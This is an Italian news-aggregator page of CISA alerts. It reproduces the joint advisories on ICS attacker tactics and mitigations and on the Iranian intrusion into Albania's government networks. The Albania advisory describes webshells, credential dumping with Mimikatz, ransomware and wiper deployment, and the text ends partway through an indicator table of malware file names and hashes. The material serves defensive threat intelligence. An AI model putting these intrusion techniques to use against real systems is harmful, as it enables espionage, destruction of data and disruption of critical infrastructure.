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News, Alert e Bollettini da Computer Emergency Response Team in lingua inglese

CERT (US-CERT)
  • CISA Releases Six Industrial Control Systems Advisories
    by CISA on 29 Settembre 2022 at 4:52 pm

    Original release date: September 29, 2022CISA has released six (6) Industrial Control Systems (ICS) advisories on September 29, 2022. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.  CISA encourages users and administrators to review the newly released ICS advisory for technical details and mitigations:  ICSA-22-272-01 Hitachi Energy MicroSCADA Pro X SYS600 ICSA-22-272-02 Hitachi Energy MicroSCADA Pro X SYS600 ICSMA-22-251-01 Baxter Sigma Spectrum Infusion Pump (Update A)   ICSA-22-235-01 ARC Informatique PcVue (Update A)   ICSA-22-244-01 Delta Electronics DOPSoft (Update A)   ICSA-21-182-03 Delta Electronics DOPSoft (Update B)  This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Publishes User Guide to Prepare for Nov. 1 Move to TLP 2.0
    by CISA on 29 Settembre 2022 at 4:15 pm

    Original release date: September 29, 2022CISA has published its Traffic Light Protocol 2.0 User Guide and Traffic Light Protocol: Moving to Version 2.0 fact sheet in preparation for its November 1, 2022 move from Traffic Light Protocol (TLP) Version 1.0 to TLP 2.0. Managed by the Forum of Incident Response and Security Teams (FIRST), TLP is a system of markings that communicates information sharing permissions. According to FIRST, the purpose of TLP is "to facilitate greater sharing of potentially sensitive information and more effective collaboration." Note: Unlike formal classification systems, TLP is not legally binding. TLP Version 2.0 brings the following key updates: TLP:CLEAR replaces TLP:WHITE for publicly releasable information. TLP:AMBER+STRICT supplements TLP:AMBER, clarifying when information may be shared with the recipient’s organization only. Note: CISA’s Automated Indicator Sharing (AIS) capability will not update from TLP 1.0 to TLP 2.0 until March 2023. This exception includes AIS’s use of the following open standards: the Structured Threat Information Expression (STIX™) for cyber threat indicators and defensive measures information and the Trusted Automated Exchange of Intelligence Information (TAXII™) for machine-to-machine communications. As CISA prepares to implement this update, we want to inform partners of the upcoming change and encourage all network defenders to adopt TLP Version 2.0 to facilitate greater information sharing and collaboration. For more information on TLP, visit FIRST’s TLP webpage at www.first.org/tlp/. On November 1, 2022, CISA will update www.cisa.gov/tlp to reflect the TLP Version 2.0 changes.   This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Releases Three Industrial Control Systems Advisories
    by CISA on 27 Settembre 2022 at 6:16 pm

    Original release date: September 27, 2022 | Last revised: September 28, 2022CISA has released three (3) Industrial Control Systems (ICS) advisories on September 27th, 2022. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS. CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations: •    ICSA-22-270-01 Hitachi Energy AFS •    ICSA-22-270-02 Hitachi Energy APM Edge •    ICSA-22-270-03 Rockwell Automation ThinManager ThinServer This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Updates Advisory on Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite
    by CISA on 27 Settembre 2022 at 2:21 pm

    Original release date: September 27, 2022CISA and the Multi-State Information Sharing & Analysis Center (MS-ISAC) has updated joint Cybersecurity Advisory AA22-228A: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite, originally released August 16, 2022. The advisory has been updated to include additional Malware Analysis Reports and indicators of compromise. CISA encourages organizations to review the latest update to AA22-228A and apply the recommended mitigations.   This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Has Added One Known Exploited Vulnerability to Catalog 
    by CISA on 23 Settembre 2022 at 6:38 pm

    Original release date: September 23, 2022CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise. Note: To view the newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column, which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant risk to the federal enterprise. BOD 22-01 requires FCEB agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the Catalog that meet the specified criteria. This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA and NSA Publish Joint Cybersecurity Advisory on Control System Defense
    by CISA on 22 Settembre 2022 at 2:59 pm

    Original release date: September 22, 2022CISA and the National Security Agency (NSA) have published a joint cybersecurity advisory about control system defense for operational technology (OT) and industrial control systems (ICSs). Control System Defense: Know the Opponent is intended to provide critical infrastructure owners and operators with an understanding of the tactics, techniques, and procedures (TTPs) used by malicious cyber actors. This advisory builds on NSA and CISA 2021 guidance provided to stop malicious ICS activity against connect OT, and 2020 guidance to reduce OT exposure. CISA and NSA encourage critical infrastructure owners and operations to review the advisory, Control System Defense: Know the Opponent, and apply the recommended mitigations and actions. For more information on CISA’s resources and efforts to improve ICS cybersecurity, visit CISA’s role in industrial control systems webpage. This product is provided subject to this Notification and this Privacy & Use policy.

  • ISC Releases Security Advisories for Multiple Versions of BIND 9
    by CISA on 22 Settembre 2022 at 2:30 pm

    Original release date: September 22, 2022The Internet Systems Consortium (ISC) has released security advisories that address vulnerabilities affecting multiple versions of the ISC’s Berkeley Internet Name Domain (BIND) 9. A remote attacker could exploit these vulnerabilities to potentially cause denial-of-service conditions. For advisories addressing lower severity vulnerabilities, see the BIND 9 Security Vulnerability Matrix.    CISA encourages users and administrators to review the following ISC advisories CVE-2022-2906, CVE-2022-3080, CVE-2022-38177, and CVE-2022-38178 and apply the necessary mitigations. This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Releases Three Industrial Control Systems Advisories
    by CISA on 22 Settembre 2022 at 1:00 pm

    Original release date: September 22, 2022CISA has released three Industrial Control Systems (ICS) advisories on September 22, 2022. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS. CISA encourages users and administrators to review the newly released ICS advisory for technical details and mitigations: ICSA-22-265-01 Measuresoft ScadaPro Server ICSA-20-212-02 Mitsubishi Electric Factory Automation Engineering Software (Update D) ICSA-20-245-01 Mitsubishi Electric Multiple Products (Update E) This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-265A: Control System Defense: Know the Opponent
    by CISA on 22 Settembre 2022 at 12:55 pm

    Original release date: September 22, 2022SummaryTraditional approaches to securing OT/ICS do not adequately address current threats. Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions. OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks. Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS. This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA. Download the PDF version of this report: pdf, 538.12 kb Technical DetailsOT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3] Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9]  Malicious actors’ game plan for control system intrusions Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems: Establish intended effect and select a target. Collect intelligence about the target system. Develop techniques and tools to navigate and manipulate the system. Gain initial access to the system. Execute techniques and tools to create the intended effect. Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10] Establish intended effect and select a target Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12] Collect intelligence about the target system Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including: Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers. Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help. Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks. In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation.  Develop techniques and tools Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers. Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities.  As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems. Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9]  With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more. Gain initial access to the system To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system.  Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements.  However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points.  Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system.  Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components. Execute techniques and tools to create the intended effects Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities: Degrade the operator's ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator's display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] ) Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831]) Impair the system's ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815]) Deny the operator's ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813]) Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882]) Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment.  MitigationsThe complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty     compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1]  System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions. However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs.  Limit exposure of system information Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system. Document the answers to the following questions: From where and to where is data flowing? How are the communication pathways documented and how is the data secured/encrypted? How is the data used and secured when it arrives at its destination? What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution?  Can the data be shared further once at its destination? Who has the authority to share this data? Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it.  Identify and secure remote access points Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system. Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks.  Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture: Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information. Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14] Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors. Utilize jump boxes to isolate and monitor access to the system. Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system. Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult. If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active. Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs. Install and keep current all vendor-provided security systems associated with the installed vendor access points. Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked.  Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities.  Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps.  Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components. Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date. Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring. Restrict tools and scripts  Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat. The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include: Identify any engineering, configuration, or diagnostic tools. Securely store gold copies of these tools external to the system if possible. Remove all non-critical tools. Prevent these tools from being reinstalled. Perform routine audits to check that these tools have not been reinstalled. Conduct regular security audits The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following: Validate all connections (e.g., network, serial, modem, wireless, etc.). Review system software patching procedures. Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.). Verify removal from the system of all non-critical software, services, and tools. Audit the full asset inventory.  Implement CISA ICS mitigations and best practices. [15] [16] Monitor system logs and intrusion detection system (IDS) logs. Implement a dynamic network environment Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended.  While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following: Deploy additional firewalls and routers from different vendors. Modify IP address pools. Replace outdated hardware (e.g., workstations, servers, printers, etc.). Upgrade operating systems. Install or upgrade commercially available security packages for vendor access points and methodologies. Planning these changes with significant forethought can help minimize the impact on network operation. Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible. Conclusion The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects.  Disclaimer of endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. Purpose This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.   Contact InformationFor NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov.  Media Inquiries / Press Desk:  NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov  CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov  References [1] National Security Agency (2021), Stop Malicious Cyber Activity Against Connected Operational Technology. [2] National Security Agency and Cybersecurity and Infrastructure Security Agency (2020), NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems. [3] Tenable (2018), The Challenges of Securing Industrial Control Systems from Cyberattacks. [4] Cybersecurity and Infrastructure Security Agency (2022), Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure. [5] Cybersecurity and Infrastructure Security Agency (2021), Cyber-Attack Against Ukrainian Critical Infrastructure. [6] Cybersecurity and Infrastructure Security Agency (2021), Ongoing Cyber Threats to U.S. Water and Wastewater Systems. [7] Cybersecurity and Infrastructure Security Agency (2020), Ransomware Impacting Pipeline Operations. [8] Cybersecurity and Infrastructure Security Agency (2021), Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 [9] Cybersecurity and Infrastructure Security Agency (2022), APT Cyber Tools Targeting ICS/SCADA Devices [10] Cybersecurity and Infrastructure Security Agency (2022), Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector. [11] The American Society of Mechanical Engineers (2016), Securing the Power Grid Against Cyber Attack. [12] PBS FRONTLINE (2003), Vulnerability: the power grid? [13] Cybersecurity and Infrastructure Security Agency (2018), Schneider Electric Triconex Tricon (Update B). [14] Cybersecurity and Infrastructure Security Agency (2022), Layering Network Security Through Segmentation. [15] Cybersecurity and Infrastructure Security Agency, Recommended Cybersecurity Practices for Industrial Control Systems. [16] Cybersecurity and Infrastructure Security Agency Industrial Control Systems Cyber Emergency Response Team (2016), Recommended Practice: Improving Industrial Control System Cybersecurity with Defense-in-Depth Strategies Revisions Initial Release: September 22, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • Microsoft Releases Out-of-Band Security Update for Microsoft Endpoint Configuration Manager
    by CISA on 21 Settembre 2022 at 10:00 pm

    Original release date: September 21, 2022Microsoft has released a security update to address a vulnerability in Microsoft Endpoint Configuration Manager, versions 2103-2207. An attacker could exploit this vulnerability to obtain sensitive information. The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review Microsoft’s Security Advisory for CVE-2022-37972 and apply the necessary updates. This product is provided subject to this Notification and this Privacy & Use policy.

  • Mozilla Releases Security Updates for Firefox, Firefox ESR, and Thunderbird
    by CISA on 21 Settembre 2022 at 7:00 pm

    Original release date: September 21, 2022Mozilla has released security updates to address vulnerabilities in Firefox, Firefox ESR, and Thunderbird. An attacker could exploit some of these vulnerabilities to take control of an affected system. CISA encourages users and administrators to review the Mozilla security advisories for Firefox 105, Firefox ESR 102.3, and ThunderBird 91.13.1 and apply the necessary updates. This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-264A: Iranian State Actors Conduct Cyber Operations Against the Government of Albania
    by CISA on 21 Settembre 2022 at 5:00 pm

    Original release date: September 21, 2022 | Last revised: September 23, 2022SummaryThe Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B. In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content. Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware. In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown. In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran. Download the PDF version of this report: pdf, 1221 kb Download the STIX file: pdf, 44 KB Technical DetailsInitial access Timeframe: Approximately 14 months before encryption and wiper attacks. Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604. Persistence and Lateral movement Timeframe: Approximately several days to two months after initial compromise. Details: After obtaining access to the victim environment, the actors used several .aspx webshells, pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment. Exchange Server compromise Timeframe: Approximately 1-6 months after initial compromise. Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group. Likely Email exfiltration Timeframe: Approximately 8 months after initial compromise. Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data. VPN activity Timeframe: Approximately 12-14 months after initial compromise. Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping. File Cryptor (ransomware-style file encryptor) Timeframe: Approximately 14 months after initial compromise. Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted. Wiper attack Timeframe: Approximately 14 months after initial compromise. Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server. MitigationsFBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:  Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing. Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks. If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched. Prioritize patching known exploited vulnerabilities. Monitor for unusually large amounts of data (i.e. several GB) being transferred from a Microsoft Exchange server. Check the host-based indications, including webshells, for positive hits within your environment. Maintain and test an incident response plan. Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations. Properly configure and secure internet-facing network devices. Do not expose management interfaces to the internet. Disable unused or unnecessary network ports and protocols. Disable/remove unused network services and devices. Adopt zero-trust principles and architecture, including: Micro-segmenting networks and functions to limit or block lateral movements. Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections. Restricting access to trusted devices and users on the networks. For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories. Appendix A Host-based IOCs Additional details concerning some of these files are provided in Appendix B. File MD5 Hash Notes Error4.aspx 81e123351eb80e605ad73268a5653ff3 Webshell cl.exe 7b71764236f244ae971742ee1bc6b098 Wiper GoXML.exe bbe983dba3bf319621b447618548b740 Encryptor Goxml.jpg 0738242a521bdfe1f3ecc173f1726aa1   ClientBin.aspx a9fa6cfdba41c57d8094545e9b56db36 Webshell (reverse-proxy connections) Pickers.aspx 8f766dea3afd410ebcd5df5994a3c571 Webshell evaluatesiteupgrade.cs.aspx Unknown Webshell mellona.exe 78562ba0069d4235f28efd01e3f32a82 